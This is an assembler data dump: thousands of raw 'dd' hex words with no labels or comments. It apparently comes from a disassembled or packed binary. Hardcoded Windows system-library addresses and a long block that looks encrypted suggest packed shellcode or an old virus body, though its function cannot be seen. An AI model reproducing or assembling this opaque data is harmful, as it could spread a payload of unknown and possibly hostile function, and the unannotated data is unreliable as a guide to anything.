		dd 0E7534D1Dh, 5FF3F5C1h, 706A3A3Eh, 0A9395D4Bh, 0B28D57C7h
		dd 5FBFD569h, 0BDCF8EB0h, 36068C45h, 0EBBBBF3Ch, 0BF2585F1h
		dd 278FB119h, 1ED6D4A1h, 11FFC85Ch, 17A401EDh, 6F038683h
		dd 0ACD1C799h, 0D934CE0h, 0C2C6433Dh, 1CD3F8F2h, 0Bh, 0B380A623h
		dd 0B8B683B5h, 0E0A8F524h, 40F4190Fh, 9D517670h, 0F7ABD0D2h
		dd 55092E28h, 0B1658A88h, 0DC1E6E4h, 6C20453Bh,	0C5799EA0h
		dd 0FFD4F9F7h, 81E68956h, 4C6h,	4EE8300h, 2474FF56h, 48F5E04h
		dd 0AB685C24h, 89000012h, 0B468240Ch, 8900005Ah, 5655241Ch
		dd 0A47B65BEh, 0C1E6D122h, 0C14605E6h, 0C68106E6h, 0CF39C05Bh
		dd 0B95EF589h, 0EF3F5F66h, 685DE901h, 590Eh, 81242489h
		dd 42404h, 815B0000h, 4ECh, 240C8900h, 0ED242C81h, 8F5E3302h
		dd 43810843h, 3302ED08h, 241C8B5Eh, 5E08950h, 4, 405h
		dd 24048700h, 240C8B5Ch, 81E18951h, 4C1h, 4C18100h, 87000000h
		dd 0E95C240Ch, 0FFF902CDh, 2BAE847h, 29F714E4h,	6FB8EE37h
		dd 3062F7Ch, 0F9E0FFC5h, 32584F18h, 6E49C8B6h, 224CCDE1h
		dd 0C33761E1h, 9B7FBE9Ch, 9B3C4C39h, 3373E9B1h,	8A405F19h
		dd 0E84EE678h, 12h, 9B7F9880h, 0D43AE8C7h, 0D8FAB6A6h
		dd 40ED3571h, 0BF0F7951h, 0C88A5ADFh, 0E8BEC281h, 0E3810000h
		dd 69BB668Fh, 8E0FF633h, 2, 34FF03B0h, 820F5216h, 3, 58DABF0Fh
		dd 2890F5Fh, 0B5000000h, 82C78140h, 0FC0C3AB3h,	3748C781h
		dd 0E18075F1h, 90F7815Ch, 6624D081h, 8D5AE181h,	0E8323C89h
		dd 7, 3C239731h, 0FC287A4h, 38Dh, 0C7BF0F00h, 0D6EE8158h
		dd 0F4EE43Dh, 28Eh, 81C28A00h, 0E43DD2C6h, 81CB8A4Eh, 0FF17DCFEh
		dd 93850FFFh, 66FFFFFFh, 0FE8DF8Bh, 0A6000000h,	61F8D5ECh
		dd 4169811Fh, 2A278FEAh, 0C281FCCFh, 300A6A99h,	2D22B95Bh
		dd 0C3816819h, 6747h, 58EFB456h, 0C38BF633h, 8B333C8Bh
		dd 47C781C1h, 0F3EB87Ch, 0C781C7B7h, 1D1FE14Fh,	59A3B650h
		dd 63A5C781h, 0B70F4C14h, 333C89CEh, 0C08155B0h, 118F78CFh
		dd 0F04EE83h, 0FE81C9BFh, 0FFFF9948h, 18850Fh, 80600000h
		dd 815751C6h, 0EE5AA6F3h, 0E9615A07h, 1Ah, 58C0FCADh, 0DE8053A4h
		dd 0FFA2E9BEh, 354FFFFh, 0A54E331Fh, 43F45940h,	8D8D3F54h
		dd 62F7F19h, 89D38B66h,	2807158Dh, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 6C661343h
		dd 85C780CBh, 62821BDh,	5924h, 6890Fh, 95330000h, 6282F01h
		dd 113D85C7h, 628h, 0BB660000h,	0B5FF0650h, 62801BDh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 4BC35646h, 31DDA808h
		dd 2826B195h, 0D995FF06h, 9062814h, 28095995h, 0DDE08106h
		dd 6A3CDA25h, 6595FF00h, 8B062804h, 1938EBC0h, 24EA61Ch
		dd 908DE8B0h, 95387CDEh, 0D0273573h, 0CBB91A53h, 4F84989Fh
		dd 35453BF8h, 2F20D759h, 2C458090h, 0FC016A48h,	76C6D0D4h
		dd 857D45B3h, 0FCAE5FA0h, 0E9F70ADBh, 0ECh, 0
		dd 77E7AC37h, 77E75CEBh, 77E73C49h, 77F7E21Fh, 77F7E300h
		dd 77E60000h, 2, 5 dup(0)
		dd 77E7A5FDh, 2Ch dup(0)
		dd 6, 0BB118AC7h, 3D4D4226h, 32157794h,	32198F88h, 68A6644h
		dd 18DDF515h, 0BADE123Bh, 8F966573h, 343D670Dh,	0B11C1322h
		dd 1A01A3ACh, 2B61668Eh, 0F29E3514h, 3211779Ah,	0A390EF11h
		dd 0BF134E8Ah, 18B038D9h, 69C69924h, 0F7A8E549h, 32134E9Ch
		dd 61457130h, 3211779Ah, 0A390EF11h, 0BF134E8Ah, 18B72BD9h
		dd 69C69924h, 39FC0649h, 31156688h, 0CB819A05h,	0FDB9BF34h
		dd 54752DFFh, 7CA0B703h, 38FC0725h, 0FC156622h,	0D8859FE7h
		dd 5DCAEC0h, 9840E4Ah, 2E9C6622h, 0BBD6EF35h, 0BD1A3D50h
		dd 32156655h, 32156ACBh, 0A661BB11h, 0FFE5BA99h, 0C4B58005h
		dd 45A8E589h, 3213496Eh, 3245E287h, 54756644h, 52E8429Bh
		dd 565EAD90h, 8A734651h, 5374E354h, 0F73E3AFh, 6075603Eh
		dd 321C8FD7h, 21186644h, 0EFD455AAh, 5319E09Fh,	3AFCB677h
		dd 64156644h, 1DF5FBB8h, 0BFA48DC1h, 1D28F00Dh,	0E2EA9A42h
		dd 34FC9342h, 50156611h, 2A1CEB8Bh, 0B7D307C8h,	343D6B07h
		dd 32128F47h, 0C6F16688h, 8B141728h, 259F69C2h,	0DB156611h
		dd 3215669Ah, 451C5486h, 41279A15h, 0D2384179h,	0E40E88D7h
		dd 607D5115h, 3D89CE9Ah, 32156791h, 23FC9E88h, 0CA156644h
		dd 7B537C1Ch, 0D8BA6535h, 87F5C545h, 0B8D6651Ch, 2618D3DDh
		dd 38FC6039h, 0D3156688h, 9BD94858h, 0D3EC3F3Dh, 6A90EB09h
		dd 52134DE7h, 321563ADh, 0EA03A022h, 53EDA84Ch,	3206E187h
		dd 3CFC6644h, 68156622h, 0FF16443Fh, 4ABE06AAh,	0DCD106F1h
		dd 0C7C59990h, 3219E41Eh, 0B41A6688h, 32156642h, 3215EF2Dh
		dd 0B79C6611h, 343D6989h, 32156BADh, 0F46FC322h, 56610BC9h
		dd 30FB32ECh, 0B7D28C54h, 343D55BFh, 32156611h,	0F7FADCE8h
		dd 851A39FFh, 0B7D307F0h, 343D6B34h, 339F69CDh,	0CA156644h
		dd 407C0F4Ah, 339B699Fh, 0CA156688h, 1FC0D3BBh,	0B41A600Ah
		dd 32156610h, 8990EB7Dh, 0CE134E7Fh, 0BBE0B6DDh, 1A0DD794h
		dd 3A92698Eh, 3D156644h, 321564ACh, 0F4740611h,	1A18430Dh
		dd 0B51A2542h, 32156625h, 3214EA1Eh, 3DED6688h,	321567C7h
		dd 6C7D9A22h, 5289017Ah, 32157760h, 0F8408744h,	85828335h
		dd 87389CFCh, 0AD89190Bh, 20FC3B27h, 0CB156622h, 6273195Ch
		dd 42D4FA61h, 0ACD95332h, 0ED9E764Bh, 0B3733EA0h, 53FC3D43h
		dd 1FC0D3BBh, 0DBE0600Ah, 3215661Eh, 0C21F9CF0h, 0A0D4484Fh
		dd 0F79BFC83h, 0BFDBF40Dh, 1A2EDD0Dh, 39FD0642h, 9156622h
		dd 647D8A7Ah, 114BF969h, 0E1943171h, 18094A4Ch,	32068F4Eh
		dd 2BDB6688h, 0E1908825h, 0C5387AACh, 0F718F8D9h, 51023E11h
		dd 0E2EA0711h, 0DFFAE742h, 54044430h, 0FFE9609h, 2C9A6925h
		dd 3D156622h, 32157E99h, 32068F88h, 22A96644h, 0D2161A6h
		dd 4B65DFFh, 0F3350F06h, 8304C5C8h, 6D90EF37h, 0CA13496Eh
		dd 3F30E34Eh, 0CB41606Ch, 507D4F4Ah, 339469FFh,	0CA156688h
		dd 1FC0D3BBh, 0BFE0600Ah, 1A2EDD94h, 3596698Eh,	3D156644h
		dd 321567A1h, 0E2EA9A11h, 32157761h, 25A8D244h,	7F4E628Ch
		dd 0A8F7CFC8h, 8736B809h, 0B79C4EDDh, 343A1941h, 3214E01Eh
		dd 0F4EC6688h, 1A1843C1h, 61752324h, 32156AF8h,	0E5A4E588h
		dd 0CB85988Ch, 0ADEF6138h, 83AC3CE0h, 5336CFCEh, 522DA42Ch
		dd 0F99406F8h, 3CB25F52h, 0C626DEEEh, 0E7A09925h, 0CA134E0Fh
		dd 9AEE39Ch, 3DE960A0h,	321562C8h, 0E39E0622h, 0CAC59970h
		dd 0A3A1D8E8h, 0B0AE19C7h, 531DF6EEh, 4D72E398h, 0B1E960A7h
		dd 1A3173F9h, 0B71A6624h, 32156720h, 320EEF87h,	0BD1A6644h
		dd 32156637h, 321576F8h, 0D4CA2C88h, 0C62EFF22h, 33B8A297h
		dd 0AC3A28CCh, 97AB06A2h, 0B93EED42h, 0B7D307D9h, 343D6B34h
		dd 32188FCDh, 3CFB6644h, 2F0D16C1h, 13F69304h, 5AA12DA7h
		dd 0C83518C2h, 0E7A099DBh, 3D134E3Ch, 3215630Bh, 851A0644h
		dd 0B79807FCh, 343D5DAAh, 32156061h, 0F62B944h,	0CD9795F4h
		dd 32188FC1h, 0A7816688h, 7D72BDF3h, 9D767767h,	0CE6B3FDBh
		dd 4D7EE301h, 0F4E9606Bh, 1A1843A7h, 52752A17h,	537539DAh
		dd 0B1FEE725h, 5345C698h, 14C5A579h, 3C996968h,	52156644h
		dd 3215E72Dh, 0F4946611h, 0FEDA49Dh, 0B3730625h, 81CE6EC5h
		dd 87EA0741h, 343D4B5Dh, 321575ADh, 0C7176322h,	0BB621DFBh
		dd 81166E54h, 0EAA71BE4h, 0B1949F9Bh, 9AEE39Ch,	3DFC60A0h
		dd 0E0156644h, 9986EE51h, 0E9CBCF5Ch, 816961F4h, 0E2EA622Fh
		dd 5D90EFDEh, 5213496Eh, 6CE6DFDFh, 0DB4E28ABh,	32156624h
		dd 64F112FCh, 0DB74C4CDh, 32156749h, 321572CBh,	160CCD11h
		dd 1BC408DBh, 7F7E5C5Dh, 0CB7191CBh, 0E661FBD7h, 1790A000h
		dd 60134E49h, 0D6180ED7h, 37FCDA5Bh, 40156688h,	6F60C8F2h
		dd 3B24D3DDh, 0DA756039h, 32156683h, 31450645h,	7AF6C019h
		dd 0B3ED7ADAh, 913B8F7Fh, 0B9733D4Eh, 0B79807F3h, 343D5DAAh
		dd 32156A61h, 0B8759D44h, 2EFCB6BFh, 4A95287h, 0DBC599F9h
		dd 32156654h, 0A185DEBDh, 50573D62h, 90DFB83Eh,	0E7D49D12h
		dd 4D7EE3ABh, 0F4E9603Eh, 1A18430Dh, 3EFC3442h,	50156622h
		dd 0E0E64048h, 0C59166FAh, 5A5CEE5Dh, 94592C6Ah, 321DE61Eh
		dd 3D756688h, 321566C9h, 87EA0722h, 343D6F20h, 0C4A269E8h
		dd 0BA98EFFBh, 0B7980711h, 343D5DAAh, 3210E887h, 0B2756644h
		dd 0CD74ABE1h, 0B11A06C1h, 32156688h, 53DDED22h, 0FCA26942h
		dd 0D0940071h, 53756369h, 0B79C0725h, 343A194Dh, 3206EB1Eh
		dd 3CFC6688h, 4156644h,	1855A676h, 229C45C3h, 51A545E3h
		dd 1790A078h, 60134E2Fh, 0CCAA6971h, 5AEC0771h,	0CF57D2AEh
		dd 0E7A099DBh, 0CE134E3Ch, 321DE987h, 54756644h, 2E73A8A3h
		dd 0B79807EDh, 343D5D33h, 3214E74Bh, 0CDE96622h, 0B79C9AC1h
		dd 343D41ADh, 3219ED4Bh, 0B01A6622h, 32156617h,	3215EF87h
		dd 0B7D36644h, 343D6B07h, 321B8F66h, 650F6688h,	2819D299h
		dd 9DEB677Eh, 8E80952Eh, 0A5BDC5E0h, 0DA759EB7h, 32156632h
		dd 0DD6CC8E3h, 0ACD46411h, 0C38D0400h, 1BCF7B85h, 0FEC4E777h
		dd 26FC3EC1h, 95156644h, 7F426C19h, 0EB9D6F8Ch,	0E5EE4A16h
		dd 0D07DEEA6h, 539C6981h, 2558D3EEh, 0B37560A0h, 1E4F8C8Dh
		dd 0DE7E70Ah, 530A73B7h, 9AEE305h, 22FC606Ch, 0A1156622h
		dd 0D14FFADDh, 28834C54h, 0B30377EAh, 0CD0AFF20h, 32108FC1h
		dd 7F796688h, 0BBBE4590h, 1A1BDBA7h, 33956917h,	0CB156688h
		dd 3F30E382h, 0DB47600Ah, 3215661Ch, 196A0E93h,	75739A2Fh
		dd 0AFF402BDh, 3020E64h, 0BF1AEC55h, 3215664Ch,	3217E02Dh
		dd 53756611h, 1FC0D377h, 35FC606Ch, 0CE156622h,	0D03E9ECEh
		dd 0B798D11Ch, 343D5DFFh, 3211E42Dh, 83756611h,	35FC07DEh
		dd 0EC156644h, 0F50BC61Ch, 0E2EA7BE4h, 3203EA87h, 23FC6644h
		dd 0D6156622h, 6683C4Fh, 2CE9A555h, 1158B30Fh, 436A6890h
		dd 1F40E398h, 0B81A60A0h, 32156643h, 3214E32Dh,	0F4E96611h
		dd 1A18430Dh, 0B2753042h, 37FC93F1h, 6F156611h,	1D8E413Eh
		dd 5F2C0E25h, 0DBE9B23Dh, 32156605h, 0A9AEA1BCh, 7373F857h
		dd 86D3C8EBh, 0CD86DAAEh, 0B68E08B5h, 2618D3BBh, 0B61A600Ah
		dd 32156603h, 32156B61h, 0D071A44h, 1D4F461Eh, 9619187Bh
		dd 0B7983A1Fh, 343E091Ch, 53753542h, 25AF0048h,	0E2EA075Dh
		dd 0C99E0024h, 3390EF43h, 3D134E1Fh, 32156708h,	0B7D39F44h
		dd 343D6B07h, 0B9730656h, 53A5D256h, 0EE051C2Ch, 339C69A3h
		dd 0CA156611h
		dd 1FC0D377h, 0DB75606Ch, 3215662Ah, 1A29E1FFh,	0B243DF27h
		dd 0BF7495CFh, 1A2EDDA7h, 54750617h, 3DFF9130h,	0CE749EF3h
		dd 52C59943h, 321569F8h, 3044588h, 0E1920D60h, 5E81E712h
		dd 89360200h, 32157761h, 0AFEEA444h, 60F8B9B5h,	0AB7D83DFh
		dd 6FF1372Dh, 0CB749126h, 3DF4E3ABh, 3DE96039h,	3215610Fh
		dd 33996944h, 0CE156622h, 3F30E3D7h, 0CB5260A0h, 3DA0842Ch
		dd 0B94406A8h, 3D7438D2h, 3215610Eh, 33916944h,	0C7156622h
		dd 1FC0D3EEh, 547560A0h, 0A40A86C5h, 321568CBh,	0DDEE0211h
		dd 867BA03h, 75FD4CD2h,	5371F8C3h, 9AEE39Ch, 38FC60A0h
		dd 0B156644h, 0EF9E1801h, 70020751h, 0CBC599CEh, 4D9AE3CDh
		dd 0B81A600Dh, 32156617h, 877406E8h, 0B7D207ACh, 343D542Fh
		dd 32156669h, 0C59400E8h, 3D751B79h, 321566A8h,	32976911h
		dd 53156688h, 13A8E525h, 32134E35h, 2ABBE21Eh, 64756688h
		dd 3215E64Bh, 0B94C6622h, 0B7D307C7h, 343D6BADh, 321A8F08h
		dd 95906622h, 5F8C46C0h, 0B405C8E3h, 0AE9A3EAh,	2EFC0E37h
		dd 0B61ABFCBh, 3215668Fh, 83E3E624h, 0CD749BA8h, 1A38B3A4h
		dd 34FC068Eh, 0F3156644h, 2E971281h, 32936910h,	53156688h
		dd 9AEE3C9h, 0B375600Ah, 650A12F9h, 0F19E00B8h,	52C59925h
		dd 236BB9Dh, 8BA4DC1Ah,	0BB741B5Fh, 1D6A1DC1h, 39FD0624h
		dd 0A8156611h, 12743545h, 1584398Dh, 0EA9496EEh, 3C9578C4h
		dd 0F47493D0h, 1A1843C1h, 26FC2A24h, 83156611h,	0D1652F3h
		dd 964C76A3h, 0D91935E0h, 63F2D00Ch, 5A5AA53Eh,	0EF61B88Ah
		dd 0E7A099DEh, 0DB134E3Ch, 32156686h, 970C6CF9h, 0AB5470F3h
		dd 99AA84Dh, 0B798DADAh, 343D5DFFh, 32156BCBh, 2CA25411h
		dd 0E5341DA4h, 0FABB15BCh, 0E2EA7EDDh, 54C6ED71h, 53680236h
		dd 4D6AE3CDh, 0B21A600Dh, 32156610h, 1790A070h,	7E134E49h
		dd 3202E92Dh, 0DB756611h, 32156683h, 0AD4E68D2h, 0CCA45E0Ah
		dd 8A67ECCEh, 6C6B561Bh, 0D7D9A25h, 3DA2E7A0h, 3215639Ch
		dd 63E00688h, 0CDE9071Ch, 1A38B397h, 32138F17h,	0D10E6688h
		dd 155FC5ABh, 8990EBD7h, 3D134E2Ah, 32156708h, 0BC1A9A44h
		dd 3215663Eh, 3203EC1Eh, 23FC6688h, 36156644h, 0E513EF53h
		dd 0E19C02D6h, 7078007Ah, 0AD8FEE70h, 37FCB6DDh, 9A156611h
		dd 58A09C2Dh, 4D96E3CDh, 5275600Dh, 32156BF9h, 0C6986288h
		dd 1E98CAD3h, 0EC6D48F2h, 534A8E45h, 0A0D5E7EEh, 0B7D30772h
		dd 343D6B07h, 321B8F5Dh, 98076688h, 5419D1Fh, 9E190011h
		dd 0C5C621h, 1D557EE0h,	321F8FF7h, 75DF6622h, 817422A2h
		dd 0ADB69436h, 1FC0D3BBh, 0BE1A600Ah, 3215661Fh, 37FD9EE8h
		dd 0A8156644h, 9695CF15h, 22FC074Eh, 3A156688h,	9C9B53ACh
		dd 9980465Fh, 85D3A54Eh, 0BFA5885Ah, 1A2EDDC1h,	0B3730624h
		dd 0DB418CF6h, 3215669Bh, 0CD519713h, 197EBE86h, 6AA2FA06h
		dd 0FD9249Dh, 53FBDEA9h, 3EFCB6DDh, 69156611h, 7CCDF75Eh
		dd 48474778h, 0BB78646Fh, 1D6AE594h, 0B7D3938Eh, 343D6B61h
		dd 8B730664h, 3D745F71h, 32156A0Fh, 32128F44h, 0E73D6622h
		dd 6A01F19Dh, 34010EC0h, 0CDECDC9Ah, 1A38B397h,	0B7989F17h
		dd 343D5D33h, 321E8F24h, 343A6622h, 5EE39DBCh, 40AD07F3h
		dd 1CAF007Ah, 0E2EA0734h, 0B990EFE4h, 521349F7h, 9FD7DF24h
		dd 53ED5C93h, 0F7AF9E71h, 5316D533h, 0B7D39A25h, 343D6B07h
		dd 53ED0656h, 0EE051CE0h, 0B97506C5h, 2FFEE7F4h, 535EFBB7h
		dd 87EA0774h, 343D4B91h, 31986942h, 0B2156611h,	0BA1A4652h
		dd 3215664Fh, 321560CBh, 0A7A4F711h, 5381838Ah,	321577ADh
		dd 0F135922h, 84077BFEh, 86E78F06h, 22D1744Fh, 0B798717Eh
		dd 343D5DAAh, 321DEE87h, 0B2756644h, 851A17FCh,	3FFC07D3h
		dd 0B0156688h, 0F46FC36Ch, 56610BFAh, 30FB3275h, 0BBE9B677h
		dd 1D6AF5C1h, 0B01A0624h, 32156617h, 3215EB87h,	88736644h
		dd 0F4741DB3h, 1A184394h, 5475218Eh, 523661FEh,	32156DCBh
		dd 67FA0311h, 7BD928A0h, 0A31F4336h, 321563CBh,	3619B811h
		dd 53743819h, 0B59BCA2Ch, 321F8FCDh, 29D56611h,	0E1F31478h
		dd 0A20EC625h, 1FC0D3DDh, 3CFC6039h, 1D156688h,	897E2E47h
		dd 80BB5B9Dh, 3478C4BAh, 2391697Bh, 0DB156644h,	3215662Eh
		dd 7FF6E748h, 0C225BAD9h, 16CE40F5h, 9AEE3AFh, 0BF1A6039h
		dd 32156689h, 3DC599B1h, 321571AAh, 239C6911h, 0DB156688h
		dd 32156648h, 0CDD3DDC6h, 0E22DF7A7h, 939725F2h, 4D82E3CDh
		dd 0B975600Dh, 0B7D307CEh, 343D6BADh, 22986903h, 0DB156622h
		dd 3215661Ah, 0FE875C3Eh, 0D2517A9h, 5A7FE528h,	0E68FC1C3h
		dd 0E7A09970h, 3D134E69h, 321577AEh, 32198F11h,	5F046688h
		dd 0FE3C8CF7h, 0F6BC4510h, 0B798AC30h, 343D5D33h, 32058F24h
		dd 98266622h, 127E09A3h, 18DF30FBh, 8E2D0B50h, 0CD74E578h
		dd 0B79C9AC1h, 343A1913h, 3201E14Bh, 3DFC6622h,	0CA156611h
		dd 195B67C4h, 5BF718ACh, 0DE09998Eh, 0B7D32C1Ah, 343D6BADh
		dd 0FF950603h, 0DAE00639h, 32156605h, 2D3ED534h, 0F692E0AFh
		dd 0FF46BFD5h, 9FF8F6E3h, 20167F58h, 3D74071Fh,	321568A8h
		dd 0D3940611h, 663ED15Eh, 3215E74Bh, 5A746622h,	88D45F15h
		dd 32138EE8h, 0BABA6644h, 6C0CB3ADh, 3215E21Eh,	0DB4B6688h
		dd 32156641h, 0AD118499h, 87EA070Ah, 343D4B5Dh,	8990EBBCh
		dd 3D134E19h, 32157597h, 321B8F88h, 1B7C6644h, 526035A3h
		dd 0DA023195h, 26E2FF22h, 21FCB6BBh, 0AD156622h, 95DEC754h
		dd 570920CFh, 249DE659h, 0B5F5A378h, 0B79C0E9Fh, 343A1917h
		dd 3213EC4Bh, 0B2756622h, 53E09AD9h, 2200DB0Bh,	3D15606Ch
		dd 321503A7h, 0B7D39311h, 343D6BADh, 32078F03h,	0FA2E6622h
		dd 0ABFF25F3h, 0FD14493Fh, 0F9D864A9h, 0BAC679C1h, 321560F8h
		dd 0B1F1E988h, 5A7DAC98h, 0D2674B45h, 3214E51Eh, 0CDE96688h
		dd 1A38B3F1h, 0FD940624h, 38BED352h, 0B7980774h, 343D5DFFh
		dd 321FE52Dh, 37FC6611h, 3F156688h, 1432BD33h, 0BBE9B6DDh
		dd 1D6AC594h, 0B7D39A8Eh, 343D6B61h, 321F8F65h,	0F3A96611h
		dd 2C2418h, 3392DFEAh, 1BA6D74Ah, 87EA939Fh, 343D4B5Dh
		dd 34996924h, 3D156622h, 32156694h, 530AD388h, 9AEE3C9h
		dd 0B875600Ah, 0E2EA07CDh, 9590EF71h, 3D13493Bh, 321567AAh
		dd 0B61A9311h, 32156689h, 1790A0B1h, 71134E2Fh,	3210ED1Eh
		dd 0CB756688h, 5A74A8CFh, 0F2632C85h, 49F7E771h, 8C6E7A1Eh
		dd 1FF54495h, 87EA9A43h, 343D4BC4h, 8990EB7Dh, 3D134E7Fh
		dd 321561A1h, 339E6911h, 0C7156688h, 3D75B6BBh,	321566A4h
		dd 0B79C0711h, 343A1923h, 321574ADh, 0A210A222h, 0B4834897h
		dd 2B8F6CCCh, 0E975D411h, 0F43D4F4Ch, 1A184394h, 3EFC2A8Eh
		dd 3D156644h, 0D26B90EFh, 6ED360D7h, 0DB744D85h, 32156641h
		dd 37086E24h, 5EFE0ECEh, 0B3759DEEh, 0BD1F13A3h, 87EA0714h
		dd 343D715Ch, 2CAE9FE8h, 53703C0Ch, 9AEE3AFh, 85756039h
		dd 0E2EA0747h, 0D90EFB8h, 3D1349A2h, 3215729Bh,	321A8F88h
		dd 50E06644h, 0D69DA8FDh, 8E82620Bh, 0AACE9C83h, 1790A094h
		dd 76134E2Fh, 0DBD2ED71h, 32156680h, 0C9F54F92h, 0EF746059h
		dd 0BC400E70h, 8775DDFBh, 54FEE7D9h, 537326DDh,	1FC0D3EEh
		dd 0DB7560A0h, 32156642h, 0A4161BC1h, 0BB1A7F50h, 3215668Bh
		dd 53DFD14Bh, 9AEE3AFh,	0B71A6039h, 32156680h, 3217E84Bh
		dd 53756622h, 0BBEDB6EEh
		dd 1D6AC90Dh, 321D8F42h, 84066622h, 0F214E05Ch,	0B7D3637Fh
		dd 343D6B61h, 0CE7D9E61h, 0CAA9E87Fh, 1FC0D377h, 0BFE0606Ch
		dd 1A2EDDA7h, 321E8F17h, 0E7276688h, 0C1C9BCEAh, 5C060D02h
		dd 0DBC59980h, 32156687h, 0AF90BEAAh, 53289E13h, 4FEC9FBh
		dd 0BB70162Eh, 1D6AD5C1h, 32138F24h, 0D30A6611h, 8AE3998Eh
		dd 3F30E382h, 3D46600Ah, 32156798h, 987D9E88h, 3DD3767Ah
		dd 321567ADh, 87EA9311h, 343D4B5Dh, 3206EE4Bh, 0B81A6622h
		dd 3215661Ch, 32156E61h, 2155F944h, 362058CFh, 8990EBC9h
		dd 3D134EB3h, 32156AC2h, 349A6922h, 3D156611h, 32156607h
		dd 32188F44h, 5A996622h, 52CD85E7h, 9DEE4209h, 0CD4A44F6h
		dd 0B79C9AF2h, 343A19A6h, 3218E487h, 3AFC6644h,	7B156622h
		dd 0C460774Eh, 0B1F49DBEh, 1A3487F9h, 0B61A6624h, 32156578h
		dd 3204E187h, 3EFC6644h, 47156622h, 0F9D4FF6Dh,	1F3A150Fh
		dd 0F42A2D1Ch, 1A1843A7h, 5AE92017h, 0C883A8B9h, 0E7A099BDh
		dd 3D134E0Fh, 32156E9Ch, 309A6988h, 52156644h, 8990EB43h
		dd 3D134E2Ah, 32157F04h, 32018F44h, 9DF06622h, 0DC37FD6Dh
		dd 0CE6BBC48h, 99DEDCFh, 42AB2797h, 0E2EABA7Ch,	32156961h
		dd 0E8C0744h, 884DA0D8h, 3C027B03h, 8AB7EA82h, 0B206E3CDh
		dd 3DFC600Dh, 95156611h, 0D9D654A4h, 6AC0AA3Eh,	381C6901h
		dd 0B7D351BCh, 343D6BADh, 0E47D9F02h, 52E9C118h, 0B9DFD91Eh
		dd 87EA074Ah, 343D4B91h, 32156BCBh, 0AB1B911h, 8C45E365h
		dd 3C234535h, 0B7986519h, 343D5DAAh, 3DC59970h,	321573CDh
		dd 3D946922h, 0DB156611h, 32156682h, 9995F10h, 3336AC9Bh
		dd 0B79C826Ah, 343AE6ABh, 3205E74Bh, 39FC6622h,	0F8156611h
		dd 0F0AE9652h, 9EDDD314h, 0B7D321EEh, 343D6B34h, 327D9FCEh
		dd 52879AE0h, 887892A2h, 55D765FEh, 87EA9AE9h, 343D4B91h
		dd 0E1950642h, 5365D244h, 3211EA87h, 88736644h,	0BF747521h
		dd 1A2EDD94h, 32048F8Eh, 2CDA6644h, 495C9196h, 9C12E87Dh
		dd 8CD8213Ch, 0CDA5A6A0h, 0DB9506F2h, 32188E92h, 0E8F16688h
		dd 71EEAE0Eh, 72057E2Fh, 6DB9A94Bh, 3EFC06E9h, 45156644h
		dd 0FB01B07h, 5229999Dh, 52B9D84Dh, 4BBDA8C5h, 53752EACh
		dd 0B79C0770h, 343AE6AFh, 3214E14Bh, 0DBE96622h, 3215661Dh
		dd 5FA395C2h, 20D05A96h, 19D5C3ECh, 3F30E3D7h, 525360A0h
		dd 5A749FBDh, 0C4C12948h, 0E7A099E8h, 0CB134EA5h, 9AEE3C9h
		dd 0BF1A600Ah, 32156634h, 32128EE8h, 0B24A6644h, 894E0C98h
		dd 23FC3CDEh, 0AF156688h, 38CDFB46h, 0D0FFC4F4h, 0B2ABB7CCh
		dd 0B46F032Bh, 0E2EA9325h, 1990EFDEh, 0DB134991h, 32156680h
		dd 0B524A5h, 3383A58Dh,	3F30E3D7h, 3D5360A0h, 321561CEh
		dd 33946922h, 0CE156611h, 62F20E7Dh, 0CDEDF289h, 1A38B397h
		dd 321B8F17h, 0EE116688h, 712BB531h, 0B4DBD304h, 3D35115Dh
		dd 0F0A269E8h, 3217EA4Bh, 6C466622h, 8990EB70h,	0CE134EB3h
		dd 3EFCB6BBh, 0B2156622h, 713B9BA3h, 1AFB7CDEh,	0BBC48925h
		dd 1D9571A7h, 32068F17h, 0A1956688h, 65A2D727h,	382F18D2h
		dd 3C975821h, 0CE6F1D07h, 1790A0A3h, 74134E2Fh,	0F1A26971h
		dd 32188FE9h, 0BD186644h, 587B6CA2h, 70E31F26h,	5A477527h
		dd 8337127Fh, 32906942h, 3D156611h, 0CD74AD3Fh,	1A38B3F1h
		dd 32078F24h, 51D56611h, 0A3B97D84h, 89FBD992h,	2E6561F2h
		dd 0BA6E537Eh, 9AEE305h, 0DB75606Ch, 3215662Dh,	96BCA529h
		dd 0B96959DAh, 7A8ADD4Fh, 3D253445h, 0CD74A4AEh, 0B31A0658h
		dd 32156647h, 53DEED44h, 0B20EE398h, 0F4EC60A7h, 1A1843C1h
		dd 5AED2024h, 0ED6C8CFCh, 32068FE8h, 57CD6644h,	0DD6BF9E3h
		dd 0B425C485h, 0A1F5F746h, 9D1C7C87h, 0C4AA69F2h, 0E7A09970h
		dd 0CB134EA5h, 9AEE3C9h, 20FC600Ah, 0A2156611h,	4F585196h
		dd 1FB2A719h, 0F225EA42h, 319FA01Dh, 3DC599BDh,	32156CC5h
		dd 0C1AA0622h, 5456D430h, 0BB74B703h, 1D9579C1h, 0DBEC0624h
		dd 32156619h, 0B872D64Fh, 816CFCAEh, 27A8E543h,	32134E01h
		dd 32A9E387h, 0F4EC6644h, 1A1843A7h, 35FC3517h,	40156688h
		dd 0B7A79EF4h, 6C7D13CDh, 52DBD8F1h, 32078F7Dh,	2B66644h
		dd 5AB85313h, 421F1C80h, 53EED051h, 0D448E67Ch,	0E7A09943h
		dd 52134E3Ch, 32156C61h, 0D829B44h, 70CD09h, 649BB933h
		dd 3215EE87h, 534F6644h, 9AEE3AFh, 3CFC6039h, 0E7156688h
		dd 460FD287h, 0DB9CF59h, 3A2AD847h, 52C59964h, 321569ACh
		dd 53D10F22h, 0F6A38E22h, 0DCF1EA7Ch, 0C8DA7ED6h, 6C1B84A2h
		dd 3217EC1Eh, 0E4A26688h, 8990EF25h, 3D13495Dh,	32156E92h
		dd 309B6988h, 52156644h, 851A0643h, 321A8FDBh, 34FC6688h
		dd 0B3AEA373h, 0B84B72CFh, 40EE0F9Ah, 0B7D30707h, 343D6B61h
		dd 25966965h, 52156611h, 0BF29B330h, 321E8F4Ch,	6A3F6622h
		dd 4315C31Fh, 0DAF261C5h, 0B57D071Eh, 3DD2D77Ch, 32156790h
		dd 87EA9E88h, 343D4B91h, 8990EBDBh, 0CE134E2Ah,	3214EB87h
		dd 0CDEC6644h, 0B79C9FF2h, 343A19AEh, 32156A61h, 3924F44h
		dd 0DE92F8E0h, 0EC33DCD5h, 34FC0632h, 69156644h, 92FCBA9Ah
